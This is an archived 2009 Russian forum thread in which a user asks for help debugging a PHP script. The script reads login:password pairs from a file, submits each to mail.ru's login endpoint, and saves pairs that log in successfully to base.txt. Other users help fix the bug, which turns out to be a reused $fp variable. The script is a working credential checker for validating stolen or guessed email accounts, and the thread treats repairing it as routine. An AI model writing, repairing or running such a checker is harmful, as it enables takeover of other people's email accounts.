PDA

Просмотр полной версии : Что не так? php


sNt
24.05.2009, 00:15
<?php

Error_Reporting(E_ALL & ~E_NOTICE);
set_time_limit(5);

$acc="la.txt";
$fp=@fopen($acc,"r");
while(!feof($fp)){
$account = trim(fgets($fp));
$ac = explode(":", $account);
$login = $ac[0];
$pass = $ac[1];

$domain="";
if(preg_match("/mail.ru/", $login)) {$domain="@mail.ru";}
elseif(preg_match("/bk.ru/", $login)) {$domain="@bk.ru";}
elseif(preg_match("/inbox.ru/", $login)) {$domain="@inbox.ru";}
elseif(preg_match("/list.ru/", $login)) {$domain="@list.ru";}
$login=str_replace($domain, "", $login);


$fp = fsockopen('win.mail.ru', 80, $errno, $errstr, 30);

if ($fp)
{
$data = "Login=$login&Domain=$domain&Password=$pass";
$headers = "POST /cgi-bin/auth HTTP/1.1\n";
$headers .= "Host: win.mail.ru\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\n";
$headers .= "Content-Length: ".strlen($data)."\n\n".$data;

fwrite($fp, $headers);
$line='';
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);

}
$auth=0;

$text="302 OK";
if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;}

if($auth==1)
{
$file=fopen("base.txt", "a");
fwrite($file, "<br>$login@$domain:$pass</br>");
fclose($file);}
}

?>

Вылезают ошибки

Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8

Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9

Что не так? Не могу понять... :(

POS_troi
24.05.2009, 00:28
а просто

тестить лень...

$fp=fopen($acc,"r");

тут покопай http://ua2.php.net/feof

sNt
24.05.2009, 03:30
Все, все решилось уже

POS_troi
24.05.2009, 04:47
Ну так отпиши.. вдруг у когото будет таже трабла, ато как-то не правильно - заварил а выхлопа "0" =)

PaCo
24.05.2009, 05:13
а собствено о чем отписывать если php сам все отписал? Из ошибки ясно видно что la.txt не было в дириктории со скриптом либо он был не доступен для чтения php.

sNt
27.05.2009, 02:11
Пересекались переменные $fp. В какой-то момент скрипт начинал воспринимать переменную $fp (которая открывает сокет) как линк к файлу, и, понятное дело, сообщал, что такого файла он найти не может. После ренейма переменной все встало на свои места